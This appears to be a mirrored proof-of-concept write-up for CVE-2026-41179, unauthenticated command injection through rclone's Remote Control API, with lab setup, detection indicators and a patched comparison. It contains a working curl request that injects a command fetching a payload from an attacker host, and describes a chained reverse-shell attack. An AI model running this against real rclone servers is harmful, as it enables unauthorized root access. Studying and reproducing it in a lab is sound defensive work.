rclone RC API Unauthenticated Remote Code Execution (CVE-2026-41179)

Metadata

Affected Target

Summary

rclone’s built-in Remote Control (rcd) HTTP API exposes an /operations/fsinfo endpoint that accepts an attacker-controlled fs= connection-string parameter used to instantiate a storage backend. When the string selects the WebDAV backend, rclone recognizes an optional bearer_token_command parameter that is handed straight to exec.Command() without any sanitization. Since the RC API listens without authentication by default, any network client can reach this endpoint and cause rclone to execute an arbitrary OS command as the rclone process user. The PoC builds a vulnerable Docker image (rclone 1.69.3), drives the shell-download-chmod-execute sequence purely through crafted fs= values, and catches a root reverse shell from the container.

Vulnerability Details

Root Cause

rc.GetFs() parses the user-supplied fs= string and instantiates the requested backend; the WebDAV backend’s bearer_token_command option is passed unsanitized to exec.Command(), and the RC HTTP listener enforces no authentication by default.

Attack Vector

1. Send an unauthenticated POST /operations/fsinfo request with fs=:webdav,url='...',vendor=other,bearer_token_command='<curl command>' to download a payload script to /tmp.
2. Send a second request with a bearer_token_command that chmod +x’s the downloaded script.
3. Send a third request whose bearer_token_command executes the script, which opens a reverse shell back to the attacker’s listener.
4. Catch the shell — the process runs as the rclone user (root in the default container image).

Impact

Full unauthenticated remote code execution on any host running an exposed rclone rcd RC API, typically yielding root or service-account level access.

Environment / Lab Setup

Target:   rclone v1.69.3 running `rcd` with RC API on port 5572 (Dockerfile.rclone)
Attacker: curl, a reverse-shell listener (netcat or penelope), python3 http.server to host poc.sh

Proof of Concept

PoC Script

See poc.sh, Dockerfile.rclone, patched.Dockerfile.rclone, and instructions.txt in this folder.

1
2
3
4

docker build -t rclone-vuln -f Dockerfile.rclone .
docker run -d --name rclone-vuln -p 5572:5572 rclone-vuln
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
  --data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/usr/bin/curl -o /tmp/shell.sh http://<attacker-ip>:8888/poc.sh':"

poc.sh is a one-line bash reverse shell payload that is downloaded, chmod +x’d, and executed on the target purely through the injected bearer_token_command parameter; instructions.txt walks through the full 10-step lab (build, run, listener, serve payload, three fsinfo POSTs, catch shell, then repeat against patched.Dockerfile.rclone to confirm the fix).

Detection & Indicators of Compromise

Signs of compromise:

• Unexplained outbound HTTP requests from the rclone host fetching scripts
• New setuid/executable files dropped in /tmp shortly after fsinfo requests
• rclone process spawning shell children it has no legitimate reason to spawn

Remediation

References

• Source repository

Notes

Mirrored from https://github.com/pssec-io/CVE-2026-41179 on 2026-07-05.